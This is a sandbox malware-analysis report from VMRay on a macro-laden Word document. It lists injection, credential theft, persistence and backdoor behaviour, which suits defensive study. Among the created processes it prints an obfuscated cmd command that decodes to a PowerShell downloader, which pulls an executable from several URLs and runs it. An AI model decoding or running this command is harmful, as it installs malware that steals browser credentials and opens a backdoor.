bded6d7d...74b7 | VTI
Logo
Try VMRay Analyzer
VTI SCORE: 100/100
Dynamic Analysis Report
Classification: Backdoor, Trojan, Dropper, Downloader

bded6d7de58298b9f1b3a5b0a502bd6cd2fb54e29d474c74ec5ff140d9b474b7 (SHA256)

Doc379450.doc

Word Document

Created at 2018-09-07 17:11:00

...

Notifications (1/1)

The operating system was rebooted during the analysis.

Severity Category Operation Classification
5/5
Injection Writes into the memory of a process running from a created or modified executable -
  • "c:\users\aetadzjz\appdata\local\microsoft\windows\orangeneed.exe" modifies memory of "c:\users\aetadzjz\appdata\local\microsoft\windows\orangeneed.exe"
    ...
5/5
Injection Modifies control flow of a process running from a created or modified executable -
  • "c:\users\aetadzjz\appdata\local\microsoft\windows\orangeneed.exe" alters context of "c:\users\aetadzjz\appdata\local\microsoft\windows\orangeneed.exe"
    ...
5/5
Network Sets up server that accepts incoming connections Backdoor
4/5
Process Creates process -
  • Creates process "cmd /V^:/C"^s^et z^q^j8=^ ^ ^ ^ ^ ^ ^}}{^hctac^};k^aerb^;jq^j$ ^me^t^I-^ekovnI;)^jqj^$^ ^,VT^O^$(e^liFdao^ln^w^oD^.VR^T^${^yrt{)pm^i^$ n^i VT^O$(^hca^er^of;'^ex^e.'^+FaR^$+^'^\^'+ci^lb^up^:vne$^=j^q^j$^;'8^24^'^ ^=^ ^FaR$^;)^'@^'(tilpS.'^6^XLE^B^d^b^EF^k/^moc^.se^i^g^ol^on^hc^etnavda//^:^p^tt^h^@^g59QLoG/au^.m^oc^.s^p^i^hc^do^o^w//^:p^tth@6Ur^grTZD/^tnetn^oc^-^p^w/ri^.ca^.umhs^.^udrc//:^p^t^th^@F^D^8vH^fL/^sd^a^o^lpu/tn^etnoc^-p^w/m^oc.^tesrocv^.w^w^w//:^p^t^th^@^0^gD^5^e1w^b/^tn^e^tnoc-p^w/di.c^a.gn^a^lam^-n^iu.^i^s^amra^f//^:^ptt^h'=^p^mi^$^;tn^e^i^lC^be^W.^teN^ ^tce^j^bo-wen^=VRT$^ l^l^e^h^sr^ewo^p&&^for /^L %^y ^in (4^26,-^1,^0)^do ^se^t 5^d^UZ=!5^d^UZ!!z^q^j8:~%^y,1!&&^i^f %^y ^l^s^s ^1 ca^l^l %5^d^UZ:^~^6%"".
    ...
  • Creates process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe".
    ...
  • Creates process "C:\Users\aETAdzjz\AppData\Local\Microsoft\Windows\orangeneed.exe".
    ...
  • Creates process ""C:\Users\aETAdzjz\AppData\Local\Microsoft\Windows\orangeneed.exe" /scomma "C:\Users\aETAdzjz\AppData\Local\Temp\72DE.tmp"".
    ...
4/5
Information Stealing Reads browser data -
4/5
Network Downloads data Downloader
3/5
Persistence Installs system startup script or application -
  • Adds ""C:\Users\aETAdzjz\AppData\Local\Microsoft\Windows\orangeneed.exe"" to Windows startup via registry.
    ...
3/5
Browser Reads data related to browsing history -
3/5
Network Performs DNS request -
3/5
Browser Reads data related to saved browser credentials -
3/5
PE Executes dropped PE file -
2/5
File System Known suspicious file Trojan
  • File "C:\Users\aETAdzjz\Desktop\Doc379450.doc" is a known suspicious file.
    ...
2/5
Network Connects to HTTP server -
2/5
PE Drops PE file Dropper
2/5
VBA Macro Executes macro on specific worksheet event -
  • Executes macro automatically on target "document" and event "open".
    ...
1/5
Process Creates system object -
1/5
Static Unparsable sections in file -
  • Static analyzer was unable to completely parse the analyzed file: C:\Users\aETAdzjz\Desktop\Doc379450.doc.
    ...
1/5
Static Contains suspicious meta data -
1/5
Static Contains embedded files -
1/5
VBA Macro Contains Office macro -
Function Logfile
Download-Icon
Exit-Icon

This feature requires an online-connection to the VMRay backend.

An offline version with limited functionality is also provided.
The offline version is supported only in Mozilla Firefoxwith deactivated setting "security.fileuri.strict_origin_policy". 


    

   

   

    Before
   

   

    

     

      
       This feature requires an online-connection to the VMRay backend.
      
      

      

      An offline version with limited functionality is also provided.
      

      The offline version is supported only in Mozilla Firefoxwith deactivated setting "security.fileuri.strict_origin_policy".
     

     

    

   

   

    After
   

   

    

     

      
       This feature requires an online-connection to the VMRay backend.
      
      

      

      An offline version with limited functionality is also provided.
      

      The offline version is supported only in Mozilla Firefoxwith deactivated setting "security.fileuri.strict_origin_policy".
     

     

    

   

   

    

     
      

       
       
       
       
      

     
     
     
    

   

  

  

   

    
    

     Screenshot
    

    

     Expand-Icon
    

    

     Exit-Icon
    

   

   

    

     icon_left
    

    

     icon_left
    

   

   

   

   

    image